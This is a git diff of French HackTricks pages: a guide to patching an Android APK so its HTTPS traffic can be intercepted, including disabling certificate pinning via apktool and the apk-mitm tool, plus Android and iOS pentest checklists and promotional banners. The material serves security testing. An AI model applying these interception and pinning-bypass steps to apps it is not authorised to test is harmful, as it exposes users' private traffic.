L'outil [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) va **automatiquement** apporter les modifications nécessaires à l'application pour commencer à capturer les requêtes et désactiver également l'épinglage de certificat (le cas échéant).
|
||||
L'outil [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) va **automatiquement** apporter les modifications nécessaires à l'application pour commencer à capturer les requêtes et désactivera également l'épinglage de certificat (le cas échéant).
|
||||
|
||||
# Manuel
|
||||
|
||||
Tout d'abord, nous décomposons l'application : `apktool d *nom-du-fichier*.apk`
|
||||
Tout d'abord, nous décompilons l'application : `apktool d *nom-du-fichier*.apk`
|
||||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
Ensuite, nous allons dans le fichier **Manifest.xml** et descendons jusqu'à la balise `<\application android>` où nous allons ajouter la ligne suivante si elle n'est pas déjà présente :
|
||||
Ensuite, nous allons dans le fichier **Manifest.xml** et descendons jusqu'à la balise `<\application android>` et nous allons ajouter la ligne suivante si elle n'est pas déjà présente :
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
Avant l'ajout :
|
||||
Avant d'ajouter :
|
||||
|
||||
![](../../.gitbook/assets/img10.png)
|
||||
|
||||
Après l'ajout :
|
||||
Après ajout :
|
||||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
|
@ -49,8 +57,28 @@ Maintenant, allez dans le dossier **res/xml** et créez/modifiez un fichier nomm
|
|||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
Enregistrez ensuite le fichier et sortez de tous les répertoires, puis reconstruisez l'APK avec la commande suivante : `apktool b *nom-du-dossier/* -o *fichier-sortie.apk*`
|
||||
Enregistrez ensuite le fichier et revenez en arrière de tous les répertoires et reconstruisez l'APK avec la commande suivante : `apktool b *nom-du-dossier/* -o *fichier-sortie.apk*`
|
||||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
Enfin, vous devez simplement **signer la nouvelle application**. [Consultez cette section de la page Smali - Décompiler/\[Modifier\]/Compiler pour apprendre comment la signer](smali-changes.md#sing-the-new-apk).
|
||||
Enfin, vous devez simplement **signer la nouvelle application**. [Consultez cette section de la page Smali - Décompilation/\[Modification\]/Compilation pour apprendre comment la signer](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,14 +4,22 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [Apprenez les fondamentaux d'Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Bases](android-app-pentesting/#fundamentals-review)
|
||||
|
@ -23,27 +31,27 @@
|
|||
* [ ] [Services](android-app-pentesting/#services-1)
|
||||
* [ ] [Récepteurs de diffusion](android-app-pentesting/#broadcast-receivers)
|
||||
* [ ] [Intentions](android-app-pentesting/#intents)
|
||||
* [ ] [Filtre d'intentions](android-app-pentesting/#intent-filter)
|
||||
* [ ] [Filtre d'intention](android-app-pentesting/#intent-filter)
|
||||
* [ ] [Autres composants](android-app-pentesting/#other-app-components)
|
||||
* [ ] [Comment utiliser ADB](android-app-pentesting/#adb-android-debug-bridge)
|
||||
* [ ] [Comment modifier Smali](android-app-pentesting/#smali)
|
||||
* [ ] Comment utiliser ADB (Android Debug Bridge) (android-app-pentesting/#adb-android-debug-bridge)
|
||||
* [ ] Comment modifier Smali (android-app-pentesting/#smali)
|
||||
|
||||
### [Analyse statique](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Vérifiez l'utilisation de [l'obscurcissement](android-checklist.md#some-obfuscation-deobfuscation-information), vérifiez si le mobile est rooté, si un émulateur est utilisé et les vérifications anti-altération. [Lisez ceci pour plus d'informations](android-app-pentesting/#other-checks).
|
||||
* [ ] Vérifiez l'utilisation de [l'obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), vérifiez si le mobile est rooté, si un émulateur est utilisé et les vérifications anti-altération. [Lisez ceci pour plus d'informations](android-app-pentesting/#other-checks).
|
||||
* [ ] Les applications sensibles (comme les applications bancaires) doivent vérifier si le mobile est rooté et agir en conséquence.
|
||||
* [ ] Recherchez les [chaînes intéressantes](android-app-pentesting/#looking-for-interesting-info) (mots de passe, URL, API, chiffrement, portes dérobées, jetons, UUID Bluetooth...).
|
||||
* [ ] Une attention particulière aux API [firebase](android-app-pentesting/#firebase).
|
||||
* [ ] [Lisez le manifeste :](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Vérifiez si l'application est en mode débogage et essayez de l'"exploiter"
|
||||
* [ ] [Lisez le manifeste:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Vérifiez si l'application est en mode débogage et essayez de l'exploiter
|
||||
* [ ] Vérifiez si l'APK autorise les sauvegardes
|
||||
* [ ] Activités exportées
|
||||
* [ ] Fournisseurs de contenu
|
||||
* [ ] Services exposés
|
||||
* [ ] Récepteurs de diffusion
|
||||
* [ ] Schémas d'URL
|
||||
* [ ] L'application [enregistre-t-elle des données de manière non sécurisée en interne ou en externe](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Y a-t-il un [mot de passe codé en dur ou enregistré sur le disque](android-app-pentesting/#poorkeymanagementprocesses)? L'application [utilise-t-elle des algorithmes de chiffrement non sécurisés](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] L'application enregistre-t-elle des données de manière non sécurisée en interne ou en externe (android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Y a-t-il un mot de passe codé en dur ou enregistré sur le disque (android-app-pentesting/#poorkeymanagementprocesses)? L'application utilise-t-elle des algorithmes de chiffrement non sécurisés (android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Toutes les bibliothèques sont-elles compilées en utilisant le drapeau PIE?
|
||||
* [ ] N'oubliez pas qu'il existe une multitude d'[analyseurs statiques Android](android-app-pentesting/#automatic-analysis) qui peuvent beaucoup vous aider pendant cette phase.
|
||||
|
||||
|
@ -51,30 +59,36 @@
|
|||
|
||||
* [ ] Préparez l'environnement ([en ligne](android-app-pentesting/#online-dynamic-analysis), [VM locale ou physique](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Y a-t-il une [fuite de données non intentionnelle](android-app-pentesting/#unintended-data-leakage) (journalisation, copier/coller, journaux de plantage)?
|
||||
* [ ] [Informations confidentielles enregistrées dans des bases de données SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Activités exposées exploitables](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Fournisseurs de contenu exploitables](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Services exposés exploitables](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Récepteurs de diffusion exploitables](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] L'application [transmet-elle des informations en clair/utilise-t-elle des algorithmes faibles](android-app-pentesting/#insufficient-transport-layer-protection)? est-il possible de faire une attaque de l'homme du milieu?
|
||||
* [ ] Des informations confidentielles sont-elles enregistrées dans des bases de données SQLite (android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] Activités exposées exploitables (android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] Fournisseurs de contenu exploitables (android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] Services exposés exploitables (android-app-pentesting/#exploiting-services)?
|
||||
* [ ] Récepteurs de diffusion exploitables (android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] L'application transmet-elle des informations en clair/utilise-t-elle des algorithmes faibles (android-app-pentesting/#insufficient-transport-layer-protection)? Est-ce qu'une attaque de l'homme du milieu est possible?
|
||||
* [ ] [Inspectez le trafic HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] Ceci est très important, car si vous pouvez capturer le trafic HTTP, vous pouvez rechercher des vulnérabilités Web courantes (Hacktricks a beaucoup d'informations sur les vulnérabilités Web).
|
||||
* [ ] Recherchez d'éventuelles [injections côté client Android](android-app-pentesting/#android-client-side-injections-and-others) (probablement une analyse de code statique vous aidera ici)
|
||||
* [ ] [Frida](android-app-pentesting/#frida) : Juste Frida, utilisez-le pour obtenir des données dynamiques intéressantes de l'application (peut-être quelques mots de passe...)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Juste Frida, utilisez-le pour obtenir des données dynamiques intéressantes de l'application (peut-être quelques mots de passe...)
|
||||
|
||||
### Informations sur l'obscurcissement/Déobscurcissement
|
||||
### Informations sur l'obfuscation/Déobfuscation
|
||||
|
||||
* [ ] [Lisez ici](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,14 +3,14 @@
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement** des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
|
@ -22,55 +22,63 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Préparation
|
||||
|
||||
* [ ] Lire les [**Bases d'iOS**](ios-pentesting/ios-basics.md)
|
||||
* [ ] Lisez les [**Bases d'iOS**](ios-pentesting/ios-basics.md)
|
||||
* [ ] Préparez votre environnement en lisant [**Environnement de test iOS**](ios-pentesting/ios-testing-environment.md)
|
||||
* [ ] Lire toutes les sections de [**Analyse initiale d'iOS**](ios-pentesting/#initial-analysis) pour apprendre les actions courantes pour tester une application iOS
|
||||
* [ ] Lisez toutes les sections de [**Analyse initiale iOS**](ios-pentesting/#initial-analysis) pour apprendre les actions courantes pour tester une application iOS
|
||||
|
||||
### Stockage de données
|
||||
|
||||
* [ ] Les [**fichiers Plist**](ios-pentesting/#plist) peuvent être utilisés pour stocker des informations sensibles.
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data) (base de données SQLite) peut stocker des informations sensibles.
|
||||
* [ ] Les [**bases de données Yap**](ios-pentesting/#yapdatabase) (base de données SQLite) peuvent stocker des informations sensibles.
|
||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) mauvaise configuration.
|
||||
* [ ] Les [**bases de données Realm**](ios-pentesting/#realm-databases) peuvent stocker des informations sensibles.
|
||||
* [ ] Les [**bases de données Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) peuvent stocker des informations sensibles.
|
||||
* [ ] Les [**cookies binaires**](ios-pentesting/#cookies) peuvent stocker des informations sensibles.
|
||||
* [ ] Les [**données de cache**](ios-pentesting/#cache) peuvent stocker des informations sensibles.
|
||||
* [ ] Les [**instantanés automatiques**](ios-pentesting/#snapshots) peuvent enregistrer des informations sensibles visuelles.
|
||||
* [ ] Le [**trousseau**](ios-pentesting/#keychain) est généralement utilisé pour stocker des informations sensibles qui peuvent être laissées lors de la revente du téléphone.
|
||||
* [ ] En résumé, vérifiez simplement les informations sensibles enregistrées par l'application dans le système de fichiers.
|
||||
* [ ] Les fichiers **Plist** peuvent être utilisés pour stocker des informations sensibles.
|
||||
* [ ] **Core Data** (base de données SQLite) peut stocker des informations sensibles.
|
||||
* [ ] Les **bases de données Yap** (base de données SQLite) peuvent stocker des informations sensibles.
|
||||
* [ ] **Firebase** mauvaise configuration.
|
||||
* [ ] Les **bases de données Realm** peuvent stocker des informations sensibles.
|
||||
* [ ] Les **bases de données Couchbase Lite** peuvent stocker des informations sensibles.
|
||||
* [ ] Les **cookies binaires** peuvent stocker des informations sensibles
|
||||
* [ ] Les données de **cache** peuvent stocker des informations sensibles
|
||||
* [ ] Les **instantanés automatiques** peuvent enregistrer des informations sensibles visuelles
|
||||
* [ ] Le **trousseau** est généralement utilisé pour stocker des informations sensibles qui peuvent être laissées lors de la revente du téléphone.
|
||||
* [ ] En résumé, vérifiez simplement les informations sensibles enregistrées par l'application dans le système de fichiers
|
||||
|
||||
### Claviers
|
||||
|
||||
* [ ] L'application permet-elle d'utiliser des [**claviers personnalisés**](ios-pentesting/#custom-keyboards-keyboard-cache) ?
|
||||
* [ ] Vérifiez si des informations sensibles sont enregistrées dans les [**fichiers de cache des claviers**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||
* [ ] L'application permet-elle d'utiliser des **claviers personnalisés**?
|
||||
* [ ] Vérifiez si des informations sensibles sont enregistrées dans les **fichiers de cache des claviers**
|
||||
|
||||
### **Journaux**
|
||||
|
||||
* [ ] Vérifiez si des [**informations sensibles sont enregistrées**](ios-pentesting/#logs)
|
||||
* [ ] Vérifiez si des **informations sensibles sont enregistrées** dans les **journaux**
|
||||
|
||||
### Sauvegardes
|
||||
|
||||
* [ ] Les [**sauvegardes**](ios-pentesting/#backups) peuvent être utilisées pour **accéder aux informations sensibles** enregistrées dans le système de fichiers (vérifiez le point initial de cette liste de contrôle)
|
||||
* [ ] De plus, les [**sauvegardes**](ios-pentesting/#backups) peuvent être utilisées pour **modifier certaines configurations de l'application**, puis **restaurer** la sauvegarde sur le téléphone, et lorsque la **configuration modifiée** est **chargée**, certaines fonctionnalités (de sécurité) peuvent être **contournées**
|
||||
* [ ] Les **sauvegardes** peuvent être utilisées pour **accéder aux informations sensibles** enregistrées dans le système de fichiers (vérifiez le point initial de cette liste de contrôle)
|
||||
* [ ] De plus, les **sauvegardes** peuvent être utilisées pour **modifier certaines configurations de l'application**, puis **restaurer** la sauvegarde sur le téléphone, et lorsque la **configuration modifiée** est **chargée**, certaines fonctionnalités (de sécurité) peuvent être **contournées**
|
||||
|
||||
### **Mémoire des applications**
|
||||
|
||||
* [ ] Vérifiez les informations sensibles dans la [**mémoire de l'application**](ios-pentesting/#testing-memory-for-sensitive-data)
|
||||
* [ ] Vérifiez les informations sensibles dans la **mémoire de l'application**
|
||||
|
||||
### **Cryptographie défaillante**
|
||||
### **Cryptographie cassée**
|
||||
|
||||
* [ ] Vérifiez si vous pouvez trouver des [**mots de passe utilisés pour la cryptographie**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] Vérifiez si vous pouvez trouver des **mots de passe utilisés pour la cryptographie**
|
||||
* [ ] Vérifiez l'utilisation d'**algorithmes obsolètes/faibles** pour envoyer/stoker des données sensibles
|
||||
* [ ] [**Accrochez et surveillez les fonctions de cryptographie**](ios-pentesting/#broken-cryptography)
|
||||
* [ ] **Accrochez et surveillez les fonctions de cryptographie**
|
||||
|
||||
### **Authentification locale**
|
||||
|
||||
* [ ] Si une [**authentification locale**](ios-pentesting/#local-authentication) est utilisée dans l'application, vérifiez comment l'authentification fonctionne.
|
||||
* [ ] Si elle utilise le [**Cadre d'authentification locale**](ios-pentesting/#local-authentication-framework), elle pourrait être facilement contournée
|
||||
* [ ] Si elle utilise une [**fonction qui peut être contournée dynamiquement**](ios-pentesting/#local-authentication-using-keychain), vous pourriez créer un script frida personnalisé
|
||||
* [ ] Si une **authentification locale** est utilisée dans l'application, vous devriez vérifier comment l'authentification fonctionne.
|
||||
* [ ] Si elle utilise le **Cadre d'authentification locale**, elle pourrait être facilement contournée
|
||||
* [ ] Si elle utilise une **fonction qui peut être contournée dynamiquement**, vous pourriez créer un script frida personnalisé
|
||||
|
||||
### Exposition de fonctionnalités sensibles via IPC
|
||||
|
||||
|
@ -92,42 +100,47 @@ Autres façons de soutenir HackTricks :
|
|||
* [ ] Vérifiez si l'application **utilise les données du presse-papiers général pour quelque chose**
|
||||
* [ ] Surveillez le presse-papiers pour voir si des **données sensibles sont copiées**
|
||||
* [**Extensions d'application**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] L'application **utilise-t-elle une extension** ?
|
||||
* [**Vues Web**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] Vérifiez quel type de vues Web est utilisé
|
||||
* [ ] L'application **utilise-t-elle une extension**?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] Vérifiez quel type de webviews est utilisé
|
||||
* [ ] Vérifiez l'état de **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
|
||||
* [ ] Vérifiez si la vue Web peut **accéder aux fichiers locaux** avec le protocole **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Vérifiez si JavaScript peut accéder aux **méthodes natives** (`JSContext`, `postMessage`)
|
||||
* [ ] Vérifiez si la webview peut **accéder aux fichiers locaux** avec le protocole **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Vérifiez si Javascript peut accéder aux **méthodes natives** (`JSContext`, `postMessage`)
|
||||
### Communication Réseau
|
||||
|
||||
### Communication réseau
|
||||
|
||||
* [ ] Effectuez un [**MitM sur la communication**](ios-pentesting/#network-communication) et recherchez des vulnérabilités Web.
|
||||
* [ ] Vérifiez si le [**nom d'hôte du certificat**](ios-pentesting/#hostname-check) est vérifié
|
||||
* [ ] Vérifiez/Bypass [**l'épinglage de certificat**](ios-pentesting/#certificate-pinning)
|
||||
* [ ] Effectuer une [**attaque de l'homme du milieu sur la communication**](ios-pentesting/#network-communication) et rechercher des vulnérabilités web.
|
||||
* [ ] Vérifier si le [**nom d'hôte du certificat**](ios-pentesting/#hostname-check) est vérifié.
|
||||
* [ ] Vérifier/Contourner le [**pinning de certificat**](ios-pentesting/#certificate-pinning)
|
||||
|
||||
### **Divers**
|
||||
|
||||
* [ ] Vérifiez les mécanismes de [**patching/mise à jour automatique**](ios-pentesting/#hot-patching-enforced-updateing)
|
||||
* [ ] Vérifiez les [**bibliothèques tierces malveillantes**](ios-pentesting/#third-parties)
|
||||
* [ ] Vérifier les mécanismes de [**patching/mise à jour automatique**](ios-pentesting/#hot-patching-enforced-updateing)
|
||||
* [ ] Vérifier les [**bibliothèques tierces malveillantes**](ios-pentesting/#third-parties)
|
||||
|
||||
**Groupe de Sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres moyens de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,21 +1,28 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
# Informations de base
|
||||
|
||||
